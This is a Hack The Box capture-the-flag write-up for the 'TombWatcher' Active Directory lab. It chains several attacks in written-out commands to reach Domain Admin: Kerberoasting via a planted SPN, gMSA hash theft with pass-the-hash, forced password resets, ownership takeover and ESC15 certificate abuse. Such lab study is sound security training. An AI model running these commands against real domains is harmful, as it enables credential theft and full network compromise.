Platform: Hack The Box
Difficulty: Medium
Operating System: Windows Active Directory
Primary Topics: Active Directory ACL Abuse, Kerberoasting, gMSA Abuse, AD Object Ownership, AD CS (ESC15)
Machine Information
| Item | Value |
|---|---|
| Target | 10.129.25.96 |
| Domain | tombwatcher.htb |
| Hostname | DC01.tombwatcher.htb |
| Initial User | henry |
| Password | H3nry_987TGV! |
Note
The machine rebooted during the assessment and later changed to:
10.129.26.63
Objectives
- Enumerate exposed services
- Identify Active Directory attack paths
- Abuse delegated ACL permissions
- Escalate privileges through multiple users
- Restore deleted privileged account
- Exploit ADCS ESC15
- Obtain Domain Administrator
- Capture both flags
Initial Enumeration
Nmap Service Scan
Always begin with a standard service/version scan.
nmap 10.129.25.96 \
-sV \
-sC \
-A \
-oN nmap.txtInteresting Findings
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Domain Controller DNS |
| 80 | HTTP | Microsoft IIS |
| 88 | Kerberos | Active Directory Authentication |
| 389 | LDAP | Directory Services |
| 445 | SMB | File Shares |
| 464 | Kerberos Password Service | |
| 636 | LDAPS | Secure LDAP |
| 3268 | Global Catalog | |
| 3269 | Global Catalog SSL | |
| 5985 | WinRM | Potential Remote Shell |
Initial Assessment
Immediately recognizable as a Domain Controller due to:
- DNS
- Kerberos
- LDAP
- Global Catalog
- SMB
- WinRM
- Active Directory certificate
Full TCP Scan
Windows frequently exposes dynamic RPC services.
Never rely solely on the initial Nmap scan.
sudo nmap \
-Pn \
-sS \
-p- \
10.129.25.96Additional ports discovered:
9389
49666
49689
49690
49692
49710
54481
54496
Fingerprint the newly discovered ports.
nmap \
-sV \
-sC \
-p9389,49666,49689,49690,49692,49710,54481,54496 \
10.129.25.96Results:
| Port | Service |
|---|---|
| 9389 | .NET Message Framing |
| 49666 | MSRPC |
| 49689 | RPC over HTTP |
| 49690 | MSRPC |
| 49692 | MSRPC |
| 49710 | MSRPC |
| 54481 | MSRPC |
| 54496 | MSRPC |
Notes
Most high-numbered ports are dynamically allocated Windows RPC endpoints.
These often become useful later during authentication and remote management but generally do not provide an immediate attack surface.
Host Resolution
Before using BloodHound, map the domain locally.
10.129.25.96 tombwatcher.htb
10.129.25.96 dc01.tombwatcher.htb
BloodHound Enumeration
With valid credentials available, BloodHound becomes the primary enumeration tool.
Collect data:
bloodhound-python \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
-ns 10.129.25.96 \
-c AllImport the generated ZIP into BloodHound.
Initial BloodHound Analysis
Mindset
At this stage, stop thinking about machines.
Start thinking about permissions.
Instead of asking:
"Where can Henry log in?"
Ask:
"What objects can Henry influence?"
BloodHound is significantly more valuable when used to identify privilege relationships rather than simply identifying administrator sessions.
Interesting Edge
The first meaningful attack path discovered:
Henry
│
WriteSPN
│
▼
Alfred
Henry possesses WriteSPN over Alfred.
This immediately becomes the primary avenue for privilege escalation.
Understanding WriteSPN
WriteSPN allows modification of a user's Service Principal Names.
Normally, user accounts do not possess SPNs.
If an attacker can add one:
Fake SPN
│
▼
Request Service Ticket
│
▼
Kerberos issues TGS
│
▼
Extract Ticket
│
▼
Offline Crack
│
▼
Recover User Password
This effectively converts an ACL permission into a Kerberoasting opportunity.
Phase 1 — Henry → Alfred
Verify Existing SPNs
Before modifying anything, establish a baseline.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
get object Alfred \
--attr servicePrincipalNameExpected output:
distinguishedName:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb
No SPNs are currently assigned.
Add Fake SPN
Assign a fake HTTP service.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
set object Alfred \
servicePrincipalName \
-v 'HTTP/fake.tombwatcher.htb'Expected:
[+] Alfred's servicePrincipalName has been updated
Verify Modification
Always confirm object changes.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
get object Alfred \
--attr servicePrincipalNameOutput:
distinguishedName:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb
servicePrincipalName:
HTTP/fake.tombwatcher.htb
Verification confirms the SPN was successfully assigned.
Request Kerberos Ticket
Request a service ticket for the newly created SPN.
impacket-GetUserSPNs \
tombwatcher.htb/henry:H3nry_987TGV! \
-dc-ip 10.129.25.96 \
-request \
-outputfile alfred.kbExpected output:
$krb5tgs$23$*Alfred...
Crack the Ticket
Hashcat mode:
13100
Run:
hashcat \
-m 13100 \
alfred.kb \
/usr/share/wordlists/rockyou.txtRecovered credentials:
Alfred
basketball
Verification
Confirm the recovered password.
netexec ldap \
dc01.tombwatcher.htb \
-u Alfred \
-p basketballSuccessful authentication confirms valid credentials.
Key Takeaways
- BloodHound identified the attack path before exploitation.
- WriteSPN can be transformed into Kerberoasting.
- Always verify directory modifications.
- Offline cracking avoids interacting further with the target.
- Every newly compromised account should trigger another BloodHound review.
Next Phase
Continue BloodHound enumeration using Alfred's credentials.
The next privilege escalation path begins with:
Alfred
│
AddSelf
│
Infrastructure
Phase 2 — Alfred → Infrastructure
Re-Enumerate BloodHound
After compromising any new principal, immediately perform another round of BloodHound analysis.
Do not assume the original attack path is still optimal.
Using Alfred's credentials, BloodHound revealed the following relationship:
Alfred
│
AddSelf
│
▼
Infrastructure
The Infrastructure group possesses the ReadGMSAPassword privilege over the ANSIBLE_DEV$ gMSA account.
This creates the next privilege escalation path.
Alfred
│
AddSelf
│
▼
Infrastructure
│
ReadGMSAPassword
│
▼
ANSIBLE_DEV$
Understanding AddSelf
The AddSelf permission allows a user to add themselves as a member of a group.
While this appears limited compared to GenericAll or GenericWrite, it is often enough to inherit any permissions delegated to that group.
In this case:
Alfred
│
AddSelf
│
▼
Infrastructure Group
│
Inherited Permissions
│
▼
ReadGMSAPassword
Verify Current Group Membership
Before modifying the group, inspect its current members.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
get object Infrastructure \
--attr memberExpected output:
distinguishedName:
CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb
No members are currently listed.
Add Alfred to Infrastructure
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
add groupMember Infrastructure AlfredExpected:
[+] Alfred added to Infrastructure
Verify Membership
Always verify successful privilege changes.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
get object Infrastructure \
--attr memberExpected:
member:
CN=Alfred,CN=Users,DC=tombwatcher,DC=htb
Verification confirms Alfred successfully inherited Infrastructure's permissions.
Phase 3 — Infrastructure → ANSIBLE_DEV$
Understanding gMSAs
A Group Managed Service Account (gMSA) is a special Active Directory account whose password is automatically managed by the domain.
Unlike traditional service accounts:
- Passwords are long and randomly generated.
- Password rotation is automatic.
- Administrators never manually know the password.
Instead, authorized computers or users retrieve the password directly from Active Directory.
If an attacker gains ReadGMSAPassword, they can retrieve the NTLM hash without ever knowing the plaintext password.
Retrieve the gMSA Password
NetExec automatically parses the managed password blob.
netexec ldap \
dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Alfred \
-p 'basketball' \
--gmsaOutput:
ANSIBLE_DEV$
47f92356b62e2b1c7b185df4842b63ad
This is the NTLM hash for the gMSA account.
Notes
Attempting to crack the hash was unsuccessful.
Given the context of the machine, this strongly suggested the intended attack path was Pass-the-Hash rather than password recovery.
This is common for gMSA accounts because:
- Passwords are extremely long.
- Passwords are randomly generated.
- Offline cracking is generally impractical.
Re-Enumerate BloodHound
Using the recovered gMSA credentials, BloodHound revealed another delegated permission.
ANSIBLE_DEV$
│
ForceChangePassword
│
▼
Sam
Rather than requiring GenericAll, the service account only needed permission to reset Sam's password.
Understanding ForceChangePassword
ForceChangePassword allows an attacker to reset another user's password without knowing the current password.
Unlike password spraying or Kerberoasting:
- No cracking required.
- No interaction from the victim.
- Immediate account takeover.
ForceChangePassword
│
▼
Reset Password
│
▼
Authenticate as Target
Phase 4 — ANSIBLE_DEV$ → Sam
Reset Sam's password.
Using the NTLM hash:
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u 'ANSIBLE_DEV$' \
-p ':47f92356b62e2b1c7b185df4842b63ad' \
set password Sam 'Password123!'Expected:
[+] Password changed successfully!
Verify Credentials
Always validate newly obtained credentials.
netexec ldap \
dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!'Successful authentication confirms account takeover.
Re-Enumerate BloodHound
With Sam compromised, another ACL edge became available.
Sam
│
WriteOwner
│
▼
John
This introduces another common Active Directory abuse primitive.
Ownership.
Understanding WriteOwner
Object owners possess implicit authority over the object's permissions.
Even if Sam lacks GenericAll today:
WriteOwner
│
Become Owner
│
Modify DACL
│
Grant GenericAll
│
Reset Password
This effectively turns ownership into full control.
Key Takeaways
- Re-enumerate BloodHound after every successful compromise.
- AddSelf is often underestimated but can inherit highly privileged rights.
- gMSA accounts are designed to resist password cracking; passing the hash is usually the intended path.
- ForceChangePassword provides immediate account compromise without requiring the current password.
- Ownership abuse frequently becomes GenericAll after modifying the object's ACL.
Next Phase
The next stage abuses:
Sam
│
WriteOwner
│
John
to gain control of John, obtain a WinRM shell, enumerate Deleted Objects, restore cert_admin, and ultimately exploit AD CS ESC15 for Domain Administrator.
Phase 5 — Sam → John
BloodHound Finding
After compromising Sam, BloodHound identified another ACL-based privilege escalation path.
Sam
│
WriteOwner
│
▼
John
Although Sam does not have GenericAll over John, ownership can be abused to grant additional permissions.
Abuse WriteOwner
Step 1 — Take Ownership
Transfer ownership of John's account to Sam.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
set owner John SamExpected output:
[+] Owner changed successfully
Why This Works
The owner of an Active Directory object is always permitted to modify that object's DACL.
This means ownership can almost always be converted into full control.
WriteOwner
│
Become Owner
│
Modify ACL
│
Grant GenericAll
│
Reset Password
Step 2 — Grant GenericAll
Now that Sam owns John's object, grant full control.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
add genericAll John SamExpected:
[+] GenericAll successfully added
Step 3 — Reset John's Password
With GenericAll established, reset the password.
bloodyAD \
--host dc01.tombwatcher.htb \
-d tombwatcher.htb \
-u Sam \
-p 'Password123!' \
set password John 'NewPassword123!'Expected:
[+] Password changed successfully!
Verify Credentials
Always verify the new account.
netexec ldap \
dc01.tombwatcher.htb \
-u John \
-p 'NewPassword123!'Successful authentication confirms complete control of John's account.
Enumerate SMB Shares
The first step after obtaining a new account is to enumerate accessible shares.
netexec smb \
dc01.tombwatcher.htb \
-u John \
-p 'NewPassword123!' \
--sharesResults:
| Share | Access |
|---|---|
| IPC$ | READ |
| NETLOGON | READ |
| SYSVOL | READ |
Administrative shares are present but inaccessible.
Notes
Enumeration of:
- NETLOGON
- SYSVOL
did not reveal anything useful.
Rather than spending additional time manually searching SMB shares, move to interactive access.
Obtain WinRM Shell
John has WinRM access.
evil-winrm \
-i 10.129.25.96 \
-u John \
-p 'NewPassword123!'Successful authentication provides an interactive PowerShell session.
At this point the user flag can be collected.
Local Enumeration
With interactive PowerShell access available, begin Active Directory enumeration from inside the domain.
One interesting query is inspecting deleted Active Directory objects.
Get-ADObject `
-Filter 'isDeleted -eq $true' `
-IncludeDeletedObjects `
-Properties * |
Format-List Name,ObjectGUID,Deleted,DistinguishedNameInteresting output:
cert_admin
appears multiple times inside the Deleted Objects container.
Understanding Deleted Objects
Deleting an Active Directory object does not immediately remove it from the database.
Instead:
Deleted User
│
Tombstoned
│
Stored in
Deleted Objects
│
Recoverable
If sufficient privileges exist, deleted objects may be restored.
This creates an opportunity to recover previously privileged accounts.
Phase 6 — Restore cert_admin
From the deleted object list, select one of the ObjectGUID values.
Restore the account.
Restore-ADObject `
-Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebfExpected:
Object restored successfully.
Reset cert_admin Password
Once restored, assign a known password.
Using rpcclient:
rpcclient 10.129.26.63 \
-U 'tombwatcher.htb\john'Within the rpcclient shell:
setuserinfo cert_admin 23 Password01!
This assigns a new password to the restored account.
Verify Credentials
Confirm access.
netexec ldap \
dc01.tombwatcher.htb \
-u cert_admin \
-p 'Password01!'Successful authentication confirms ownership of the restored account.
Enumerate Active Directory Certificate Services
The newly recovered account has certificate-related permissions.
Begin by enumerating the Certificate Authority.
certipy-ad find \
-u cert_admin \
-p 'Password01!' \
-dc-ip 10.129.26.63 \
-vulnerable \
-output cert_admin_vulnInteresting findings:
Template
WebServer
BloodHound and Certipy identify:
ESC15
as exploitable.
Understanding ESC15
The vulnerable template allows:
- Enrollee Supplies Subject
- Schema Version 1
This makes it possible to request a certificate for another user while supplying a malicious Application Policy.
Effectively:
Request Certificate
│
Supply Administrator UPN
│
Inject Client Authentication
│
Receive Valid Certificate
│
Authenticate as Administrator
Unlike Kerberoasting or ACL abuse, no password is required.
Possession of the certificate becomes equivalent to possessing Administrator credentials.
Key Takeaways
- Object ownership is frequently convertible into GenericAll.
- Always obtain an interactive shell if available after compromising a new account.
- Deleted Objects are often overlooked during Active Directory enumeration.
- Restoring deleted privileged users can expose entirely new attack paths.
- Certipy should always be used whenever certificate services are present.
Next Phase
The final stage abuses:
cert_admin
│
ESC15
│
Administrator Certificate
│
LDAP Shell
│
Domain Admin
to obtain full domain compromise and capture the root flag.
Phase 7 — Exploiting ESC15
BloodHound / Certipy Finding
After restoring and taking control of cert_admin, Certipy identified the following vulnerable certificate template.
Template:
WebServer
Vulnerability:
ESC15
Relevant characteristics:
| Setting | Value |
|---|---|
| Enrollee Supplies Subject | Enabled |
| Schema Version | 1 |
| Manager Approval | Disabled |
| Authorized Signatures | 0 |
| Enrollable By | cert_admin |
This template is vulnerable because it allows an attacker to request a certificate while supplying their own identity information.
Understanding ESC15
Unlike many AD CS attacks, ESC15 abuses Application Policies.
Normally:
Certificate
│
Server Authentication
With ESC15:
Certificate Request
│
Inject Client Authentication EKU
│
Administrator UPN
│
Certificate Issued
│
Authenticate as Administrator
No password is required.
The certificate itself becomes the credential.
Request Administrator Certificate
Generate a certificate for the Administrator account.
certipy-ad req \
-u cert_admin \
-p 'Password01!' \
-dc-ip 10.129.26.63 \
-target DC01.tombwatcher.htb \
-ca "tombwatcher-CA-1" \
-template WebServer \
-application-policies "Client Authentication" \
-upn Administrator@tombwatcher.htbExpected output:
administrator.pfx
The generated PFX contains:
- Private Key
- Administrator Certificate
Authenticate Using the Certificate
Use the generated certificate instead of a password.
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 10.129.26.63 \
-ldap-shellSuccessful authentication provides an interactive LDAP shell as Administrator.
Why LDAP Shell?
Although Administrator authentication has already been achieved, the LDAP shell provides a convenient way to modify Active Directory objects directly.
Rather than creating a new shell immediately, simply grant the already-compromised account elevated privileges.
This avoids creating unnecessary credentials or additional persistence.
Grant Domain Administrator
Inside the LDAP shell:
add_user_to_group john "Domain Admins"
Expected:
Adding user:
john
to group:
Domain Admins
Result:
OK
Grant Enterprise Administrator
Also add John to Enterprise Admins.
add_user_to_group john "Enterprise Admins"
Expected:
Result:
OK
Verify Group Membership
Reconnect as John.
evil-winrm \
-i 10.129.26.63 \
-u John \
-p 'NewPassword123!'Once connected:
whoami /groupsExpected output now includes:
Domain Admins
Enterprise Admins
This confirms successful privilege escalation.
Capture Root Flag
With Domain Administrator privileges established:
cd C:\Users\Administrator\Desktop
type root.txtRoot obtained.
Complete Attack Chain
Henry
│
WriteSPN
│
▼
Alfred
│
AddSelf
│
▼
Infrastructure
│
ReadGMSAPassword
│
▼
ANSIBLE_DEV$
│
ForceChangePassword
│
▼
Sam
│
WriteOwner
│
▼
John
│
Restore Deleted Object
│
▼
cert_admin
│
ESC15
│
Administrator Certificate
│
LDAP Authentication
│
▼
Domain Administrator
Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Service and port enumeration |
| BloodHound | Active Directory attack path discovery |
| bloodhound-python | BloodHound data collection |
| bloodyAD | ACL abuse and object manipulation |
| Impacket GetUserSPNs | Kerberoasting |
| Hashcat | Offline password cracking |
| NetExec | Authentication verification, SMB, LDAP, gMSA extraction |
| Evil-WinRM | Interactive PowerShell shell |
| rpcclient | Password reset |
| Certipy | AD CS enumeration and exploitation |
Active Directory Primitives Used
| Primitive | Purpose |
|---|---|
| WriteSPN | Create fake SPN for Kerberoasting |
| Kerberoasting | Recover Alfred's password |
| AddSelf | Join Infrastructure group |
| ReadGMSAPassword | Retrieve managed service account hash |
| ForceChangePassword | Reset Sam's password |
| WriteOwner | Take ownership of John's account |
| GenericAll | Full control over John |
| Restore-ADObject | Recover deleted privileged account |
| ESC15 | Obtain Administrator certificate |
Methodology Notes
Several themes emerged throughout this assessment.
1. Let BloodHound Drive Decisions
Every privilege escalation originated from BloodHound.
Rather than manually searching for vulnerabilities after each compromise, each newly obtained account was imported into the attack graph to identify the next ACL edge.
This minimizes guesswork and produces a deterministic attack path.
2. Re-Enumerate After Every Compromise
Each compromised identity exposed new permissions.
Henry
↓
Alfred
↓
ANSIBLE_DEV$
↓
Sam
↓
John
↓
cert_admin
Treat every account as a fresh starting point.
3. Verify Every Action
Every privilege modification was immediately validated before continuing.
Examples:
- Verify SPN creation
- Verify group membership
- Verify password resets
- Verify authentication
- Verify certificate issuance
- Verify administrator group membership
Verification reduces confusion later in the engagement.
4. Think in Graphs, Not Machines
This box contains almost no software exploitation.
Every privilege escalation came from:
- Delegated permissions
- ACL abuse
- Trust relationships
- Object ownership
- Certificate Services
Modern Active Directory assessments frequently resemble graph traversal problems more than traditional exploitation.
Lessons Learned
- BloodHound should be one of the first tools used whenever valid domain credentials are available.
- Small delegated permissions can often be chained into complete domain compromise.
- Always investigate object ownership, delegated ACLs, and group permissions before searching for software vulnerabilities.
- gMSA accounts should generally be treated as pass-the-hash opportunities rather than password cracking targets.
- Deleted Active Directory objects can expose privileged accounts that are easily overlooked.
- AD CS remains one of the highest-impact privilege escalation vectors in modern Active Directory environments.
Summary
TombWatcher demonstrates how seemingly low-impact Active Directory permissions can be chained into full Domain Administrator compromise without exploiting a single software vulnerability.
The entire attack path relies on understanding and abusing delegated permissions:
- ACL abuse
- Kerberoasting
- Group membership inheritance
- gMSA password retrieval
- Object ownership
- Deleted object recovery
- Active Directory Certificate Services
This makes TombWatcher an excellent exercise in graph-based Active Directory privilege escalation and reinforces the importance of permission-centric enumeration during enterprise assessments.